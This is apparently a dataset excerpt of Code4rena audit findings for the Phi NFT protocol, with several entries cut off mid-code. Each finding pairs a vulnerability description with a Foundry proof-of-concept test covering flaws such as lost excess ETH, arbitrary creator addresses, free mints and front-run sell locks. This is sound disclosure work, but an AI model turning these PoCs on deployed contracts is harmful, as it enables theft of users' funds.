xanoutas/solidity-security-findings huggingface dataset:
processClaim function can return excess ETH to the incorrect address
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L740
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/Claimable.sol#L43
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/Claimable.sol#L64


# Vulnerability details

## Impact

PhiFactory has `processClaim` function https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L723-L758 that allows users to mint their NFTs using a signature (`signatureClaim`) or Merkle proof (`merkleClaim`). The `processClaim` function contains logic to handle excess ETH and send it back to the `msg.sender`. However, this function can be indirectly called by using the PhiNFT1155 contract, which inherits from the `Claimable` abstract contract. Specifically, it can be invoked through the `merkleClaim` (https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/Claimable.sol#L47-L65) and `signatureClaim` (https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/Claimable.sol#L22-L44) functions.

The issue arises when excess ETH is sent through the `Claimable` contract, as the excess ETH will not be returned. In this scenario, the `msg.sender` would be the PhiNFT1155 contract, which implements the `receive` function. Since the `receive` function does not revert, the user would lose their funds.

One example of when this could happen:
1. A user submits a claim.
2. The art creator decides to lower the mint fee by 50%, from 1 ether to 0.5 ether.
3. The art creator's transaction is mined first.
4. Because the user sent the claim with the previous price, he would lose 0.5 ether.

## Proof of Concept:

Insert the following into `Claimable.t.sol`:
```solidity
import { ICreatorRoyaltiesControl } from "../src/interfaces/ICreatorRoyaltiesControl.sol";

....

function test_claimWithExcessBug() public {
    uint256 artId = 1;
    address artAddress = phiFactory.getArtAddress(artId);

    vm.warp(START_TIME + 2);
    bytes memory data = _createSigSignData(false);
    bytes memory payload = abi.encodePacked(abi.encodeWithSignature("signatureClaim()"), data);

    vm.recordLogs();
    uint256 totalMintFee = phiFactory.getArtMintFee(artId, 1);
    IPhiFactory.ArtData memory originalArt = phiFactory.artData(artId);
    vm.startPrank(originalArt.artist);

    ICreatorRoyaltiesControl.RoyaltyConfiguration memory newRoyaltyConfig = ICreatorRoyaltiesControl.RoyaltyConfiguration({
        royaltyRecipient: address(0x789),
        royaltyBPS: 500 // 5%
    });

    phiFactory.updateArtSettings(
        artId,
        "",
        address(0x456),
        originalArt.maxSupply + 100,
        originalArt.mintFee / 2, // ART CREATOR DECIDES TO DECREASE THE PRICE
        originalArt.startTime,
        originalArt.endTime + 2 days,
        fals
Missing check on creator address can allow setting arbitrary creator address set resulted steal of creatorFee or potential DOS
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L232-L280


# Vulnerability details

## Impact
phiSignerAddress address can allow any user to create Cred by giving them signed signature, and the user can create the cred with a `creator` address which is controlled by the user to get all of the creator fee or it will  reject receiving ether after first eth receive and resulting no one will be able to purchase any share on this cred.

## Proof of Concept
If a user received phiSignerAddress signature to create a cred, while calling the createCred() function the user can specify any creator address and this doesn't check creator address if it's should be used for the cred resulting the user can specify a address which is controlled by the user to get all of the creator fee or else the user will provide a contract address which will reject any eth transfer happen to that contract.

Here is foundry test case to show that it's possible to provide arbitrary creator address into the createCred() function call:

Save the code into the Cred.t.sol and run `forge test --mt test_Missing_Creator_Check -vvv`:

```
function test_Missing_Creator_Check() external {
        vm.warp(START_TIME + 1);
        vm.startPrank(participant);
        uint256 credId = 1;
        uint256 supply = 0;
        uint256 amount = 1;
        uint256 expiresIn = START_TIME + 100;
        uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(credId, supply, amount);
        string memory credURL = "test";
        bytes memory signCreateData = abi.encode(
            expiresIn, address(this), 31_337, address(bondingCurve), credURL, "BASIC", "SIGNATURE", 0x0
        );
        bytes32 createMsgHash = keccak256(signCreateData);
        bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
        (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
        if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
        vm.stopPrank();

        cred.createCred{ value: buyPrice }(address(this), signCreateData, abi.encodePacked(cr, cs), 100, 100);
        console2.log("Creator Address:", cred.getCredCreator(credId));
        
    }
```

## Tools Used
Foundry

## Recommended Mitigation Steps
Add creator address into the signature and use that creator address for the cred creation.


## Assessed type

DoS
Contract `PhiNFT1155` can't be paused
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L21-L31


# Vulnerability details

## Impact

The pausing mechanism of `PhiNFT1155` contract is implemented incorrectly and doesn't work: users are still able to transfer NFTs in paused state.

## Summary

Contract `PhiNFT1155` inherits from the [following parent contracts](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L21-L31):

```solidity
contract PhiNFT1155 is
    Initializable,
    UUPSUpgradeable,
    ERC1155SupplyUpgradeable,
    ReentrancyGuardUpgradeable,
    PausableUpgradeable,
    Ownable2StepUpgradeable,
    IPhiNFT1155,
    Claimable,
    CreatorRoyaltiesControl
{
```

The problem with the above is that inheriting from `PausableUpgradeable` is not effective in the scope of OZ `ERC1155` contracts. As a result, users are able to transfer NFT tokens even when the contract is paused, as the below PoC demonstrates.

## Proof of Concept

Drop this test to [PhiFactory.t.sol](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/test/PhiFactory.t.sol#L163) and execute via `forge test --match-test Kuprum`

```solidity
function testKuprum_PhiNFT1155PauseNotWorking() public {
    _createArt(ART_ID_URL_STRING);
    uint256 artId = 1;
    bytes32 advanced_data = bytes32("1");
    bytes memory signData =
        abi.encode(expiresIn, participant, referrer, verifier, artId, block.chainid, advanced_data);
    bytes32 msgHash = keccak256(signData);
    bytes32 digest = ECDSA.toEthSignedMessageHash(msgHash);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
    if (v != 27) s = s | bytes32(uint256(1) << 255);
    bytes memory signature = abi.encodePacked(r, s);
    bytes memory data =
        abi.encode(1, participant, referrer, verifier, expiresIn, uint256(1), advanced_data, IMAGE_URL, signature);
    bytes memory dataCompressed = LibZip.cdCompress(data);
    uint256 totalMintFee = phiFactory.getArtMintFee(1, 1);

    vm.startPrank(participant, participant);
    phiFactory.claim{ value: totalMintFee }(dataCompressed);

    // referrer payout
    address artAddress = phiFactory.getArtAddress(1);
    assertEq(IERC1155(artAddress).balanceOf(participant, 1), 1, "particpiant erc1155 balance");
    
    // Everything up to here is from `test_claim_1155_with_ref`
    
    // Owner pauses the art contract
    vm.startPrank(owner);
    phiFactory.pauseArtContract(artAddress);

    // Users are still able to transfer NFTs despite the contract being paused
    assertEq(IERC1155(artAddress).balanceOf(user1, 1), 0, "user1 doesn't have any tokens");
    vm.startPrank(participant);
    IERC1155(artAddress).safeTransferFrom(participant, user1, 1, 1, hex"00");
    assertEq(IERC1155(artAddress).balanceOf(participant, 1), 0, "particpiant now has 0 tokens");
    assertEq(IERC1155(artAddress).balanceOf(user1, 1), 1, "us
Mint protocol fees can not be updated due to an incorrect upper limit
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/script/Deploy.s.sol#L48-L50
https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L423


# Vulnerability details

## Impact

The protocol's inability to adjust its mint fees due to a misconfigured upper limit introduces a significant operational risk. The current fee cap is mistakenly set to a maximum of 10,000 wei, which is negligible in ETH terms. This flaw not only prevents the protocol from responding to market conditions or adjusting its revenue model but also severely limits its financial flexibility. Over time, this could lead to lost revenue opportunities, as the protocol would be unable to adapt its fee structure in line with economic changes.

## Proof of Concept

- The `PhiFactory` contract is deployed with an initial `protocolFee_` set to 0.0005 ether, as specified in the [deployment scripts](https://github.com/code-423n4/2024-08-phi/blob/main/script/Deploy.s.sol#L48-L50).

- At a later stage, the deployer attempts to increase the mint fee to 0.0006 ether to boost revenue. However, this action fails due to the [hardcoded upper limit of 10,000 wei](https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L423).

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import { Settings, console2 as console } from "../helpers/Settings.sol";

import { IPhiFactory } from "../../src/interfaces/IPhiFactory.sol";

contract MintFeesIncorrectCheck is Settings {
    function setUp() public override {
        super.setUp();
    }

    function test_setProtocolFee_revert_ProtocolFeeTooHigh() public {
        // Get the current protocol fee.
        uint256 initialMintProtocolFee = phiFactory.mintProtocolFee();

        // Log the current protocol fee.
        console.log("Initial mint protocol fee: %18e ether", initialMintProtocolFee);

        // Set the desired protocol fee.
        uint256 desiredMintProtocolFee = 0.0006 ether;

        // Log the desired protocol fee.
        console.log("Desired mint protocol fee: %18e ether", desiredMintProtocolFee);

        // Owner tries to update the mint protocol fee to increase protocol revenue.
        vm.startPrank(owner);

        // Transaction reverts because the desired mint protocol fee is over the cap
        vm.expectRevert(IPhiFactory.ProtocolFeeTooHigh.selector);
        phiFactory.setProtocolFee(desiredMintProtocolFee);

        vm.stopPrank();
    }
}
```

Here's the output:

```
Initial mint protocol fee: 0.0002 ether
Desired mint protocol fee: 0.0006 ether
```

## Tools Used

Manual Review, Foundry

## Recommended Mitigation Steps

Consider comparing `protocolFee_` with value in ETH terms.

```diff
function setProtocolFee(uint256 protocolFee_) external onlyOwner {
-   if (protocolFee_ > 10_000) revert ProtocolFeeTooHigh();
+   if (protocolFee_ > MAX_PROTOCOL_FEE_IN_ETHER) revert ProtocolFeeTooHigh();
    mintProtocolFee = protocolFee_;
    emit ProtocolFeeSet(protocolFee_);
}
Buying a share for someone prevents him from selling shares for a lock period
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L588


# Vulnerability details

## Impact
There is a `SHARE_LOCK_PERIOD` in which users cannot sell shares. This is updated whenever a share is bought for him. 
The problem is that Bob for example wants to sell his share at a particular time and then Alice frontrun him by buying a share for Bob. 
This will update Bob's `lastTradeTimestamp`, preventing him from selling.

Inability for a user to sell share/shares at moment, causing a possible profit loss

## Proof of Concept
Add the following test at the bottom inside `Cred.t.sol`

```javascript
function test_userUnableToSellAfterSomeoneBuysForHim() public {
    _createCred("BASIC", "SIGNATURE", 0x0);

    uint256 credId = cred.credIdCounter() - 1;
    uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(credId, 1, 1);

    address bob = makeAddr("bob");
    vm.deal(bob, buyPrice);
    vm.startPrank(bob);

    /* Bob buys a share for himself */
    cred.buyShareCred{ value: buyPrice }(credId, 1, 0);
    assertEq(cred.isShareHolder(1, bob), true, "Bob owns cred 1");

    /* SHARE_LOCK_PERIOD is passed and now Bob wants to sell his share */
    vm.warp(block.timestamp + cred.SHARE_LOCK_PERIOD() + 1);

    /* Alise buys for Bob and prevents him from selling */
    address alice = makeAddr("alice");

    buyPrice = bondingCurve.getBuyPriceAfterFee(credId, 2, 1);
    vm.deal(alice, buyPrice);
    vm.startPrank(alice);
    cred.buyShareCredFor{ value: buyPrice }(credId, 1, bob, 0);

    /* Bob tries to sell his share */
    vm.startPrank(bob);
    vm.expectRevert();
    cred.sellShareCred(credId, 1, 0);

    assertEq(cred.isShareHolder(1, bob), true, "Bob still owns cred 1");
}
```

## Tools Used 
Manual Review

## Recommended Mitigation Steps
This is a topic about the design because if the `lastTradeTimestamp` is not updated on
`buyShareCredFor`, a user may buy a share for himself with other addresses and bypass the `SHARE_LOCK_PERIOD`.
Reconsider the purpose of the `SHARE_LOCK_PERIOD`.








## Assessed type

Other
`PhiFactory.sol:claim` passes only the mint fee, which accumulates ether in the contract and gives opportunity for free mint by anyone
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L264


# Vulnerability details

## Impact
The function `PhiFactory.sol:claim` passes only the `mintFee` to `PhiFactory.sol:signatureClaim` or `PhiFactory.sol:merkleClaim` and the rest of the `msg.value` are accumulated by the `PhiFactory`. 
This way the claimer pays more for the claim and later someone can mint NFT for free or with a discount by providing 0 or less than the
required `msg.value` to the `PhiFactory.sol:claim` function. 
Inside the function reliability section in the README, there is a bullet about unnecessary accumulation inside the contract.

Claimer loses his `msg.value` and someone later claims NFT with a discount or free at all

## Proof of Concept
Paste the following test inside `PhiFactory.t.sol`:

```javascript
function test_claim_leaves_money_inside_contract() public {
    _createArt(ART_ID_URL_STRING);
    uint256 artId = 1;
    bytes32 advanced_data = bytes32("1");
    bytes memory signData =
        abi.encode(expiresIn, participant, referrer, verifier, artId, block.chainid, advanced_data);
    bytes32 msgHash = keccak256(signData);
    bytes32 digest = ECDSA.toEthSignedMessageHash(msgHash);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
    if (v != 27) s = s | bytes32(uint256(1) << 255);
    bytes memory signature = abi.encodePacked(r, s);
    bytes memory data =
        abi.encode(1, participant, referrer, verifier, expiresIn, uint256(1), advanced_data, IMAGE_URL, signature);
    bytes memory dataCompressed = LibZip.cdCompress(data);
    uint256 totalMintFee = phiFactory.getArtMintFee(1, 1);

    vm.startPrank(participant, participant);

    /* Set the balance of the participant  */
    vm.deal(participant, totalMintFee + 5 ether);

    assertEq(address(phiFactory).balance, 0);
    console2.log(address(phiFactory).balance);

    /* Claim with excesss money */
    phiFactory.claim{ value: totalMintFee + 1 ether }(dataCompressed);

    /* Asserts that the contract has kept the excess money */
    assertEq(address(phiFactory).balance, 1 ether);
    console2.log(address(phiFactory).balance);

    /* Bob sees that the contract has kept the excess money and claim NFT for free */
    address bob = makeAddr("bob");
    vm.startPrank(bob, bob);

    uint256 artId2 = 1;
    bytes32 advanced_data2 = bytes32("1");
    bytes memory signData2 = abi.encode(expiresIn, bob, referrer, verifier, artId2, block.chainid, advanced_data2);
    bytes32 msgHash2 = keccak256(signData2);
    bytes32 digest2 = ECDSA.toEthSignedMessageHash(msgHash2);
    (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(claimSignerPrivateKey, digest2);
    if (v2 != 27) s2 = s2 | bytes32(uint256(1) << 255);
    bytes memory signature2 = abi.encodePacked(r2, s2);
    bytes memory data2 =
        abi.encode(1, bob, referrer, verifier, expiresIn, uint256(1), advanced_data2, IMAGE_URL, signature2);
    bytes memory dataCompressed2 = LibZip.cdCompress(data2
Missing `UUPSUpgradeable` initialization may potentially impact upgrades
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L23
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L96-L125


# Vulnerability details

## Impact
The lack of proper `upgradeability` setup introduces operational risks, as the contract may not behave as expected during upgrade attempts, leading to potential downtime or service disruptions.

## Proof of Concept
The [`PhiNFT1155` contract inherits from `UUPSUpgradeable`](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L23), a contract from `OpenZeppelin` that provides `upgradeability` features.
```solidity
    contract PhiNFT1155 is
        Initializable,
>>      UUPSUpgradeable,
        ---SNIP---
```
This standard requires certain `initialization` steps to be performed to ensure the contract is properly set up for upgrades. 

However during initialization,  the `__UUPSUpgradeable_init()` function is not called within the [`initialize()`](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L96-L125) function.
```solidity
    function initialize(
        uint256 credChainId_,
        uint256 credId_,
        string memory verificationType_,
        address protocolFeeDestination_
    )
        external
        initializer
    {
        __Ownable_init(msg.sender);

        // @audit-info Missing `UUPSUpgradeable` initialization
        __Pausable_init();
        __ReentrancyGuard_init();
        initializeRoyalties(protocolFeeDestination_);


        ---SNIP---
    }
``` 

This omission leaves the `upgrade mechanism` improperly configured.

The `UUPSUpgradeable` contract relies on an internal function [`_authorizeUpgrade()`](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L352-L354) to control who can upgrade the contract. Without proper initialization, the upgrade authorization mechanism may not function as intended, potentially preventing upgrades.

## Tools Used
Manual Review

## Recommended Mitigation Steps
Ensure that the `__UUPSUpgradeable_init()` function is called within the `initialize()` function of the `PhiNFT1155` contract
```diff
        ---SNIP---  
        __Ownable_init(msg.sender);

        __Pausable_init();
        __ReentrancyGuard_init();
+       __UUPSUpgradeable_init();
        ---SNIP---       
```





## Assessed type

Upgradable
`PhiFactory::claim` Lacks ETH Validation, Leading to Unreturned Funds and Free Mints
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L262-L304


# Vulnerability details

## Impact

The `PhiFactory::claim` function does not verify that the correct amount of ETH is provided during a claim. This oversight results in two primary issues:

1. **Unreturned Excess ETH**: Since the function does not check if `msg.value` meets or exceeds the required minting fee (`mintFee`), any extra ETH sent by users is not refunded. This excess ETH becomes locked in the contract, as there is no mechanism to return it to the caller.

2. **Unintended Free Mints**: If the `PhiFactory` contract holds ETH, a user could call the function with `msg.value = 0`, effectively allowing them to mint NFTs without paying the required fee. This happens because the function does not validate that `msg.value` matches the required `mintFee`, enabling free mints at the expense of the contract's funds.

To address these issues, the `claim` function should be updated to ensure that `msg.value` is at least equal to `mintFee` before proceeding with the minting process.

```solidity
    /// @notice Claims a art reward.
    /// @param encodeData_ The encoded claim data.
    function claim(bytes calldata encodeData_) external payable {
        bytes memory encodedata_ = LibZip.cdDecompress(encodeData_);
        (uint256 artId) = abi.decode(encodedata_, (uint256));
        PhiArt storage art = arts[artId];
        uint256 tokenId = IPhiNFT1155Ownable(art.artAddress).getTokenIdFromFactoryArtId(artId);
        if (art.verificationType.eq("MERKLE")) {
            (
                ,
                address minter_,
                bytes32[] memory proof,
                address ref_,
                uint256 quantity_,
                bytes32 leafPart_,
                string memory imageURI_
            ) = abi.decode(encodedata_, (uint256, address, bytes32[], address, uint256, bytes32, string));

            bytes memory claimData = abi.encode(minter_, ref_, artId);
            MintArgs memory mintArgs = MintArgs({ tokenId: tokenId, quantity: quantity_, imageURI: imageURI_ });
            uint256 mintFee = getArtMintFee(artId, quantity_);

// @> The function assumes that `msg.value == mintFee` but this is never validated.
            this.merkleClaim{ value: mintFee }(proof, claimData, mintArgs, leafPart_);
        } else if (art.verificationType.eq("SIGNATURE")) {
            (
                ,
                address minter_,
                address ref_,
                address verifier_,
                uint256 expiresIn_,
                uint256 quantity_,
                bytes32 data_,
                string memory imageURI_,
                bytes memory signature_
            ) = abi.decode(encodedata_, (uint256, address, address, address, uint256, uint256, bytes32, string, bytes));

            bytes memory claimData = abi.encode(expiresIn_, minter_, ref_, verifier_, artId, block.chainid, data_);
            MintArgs memory mintArgs =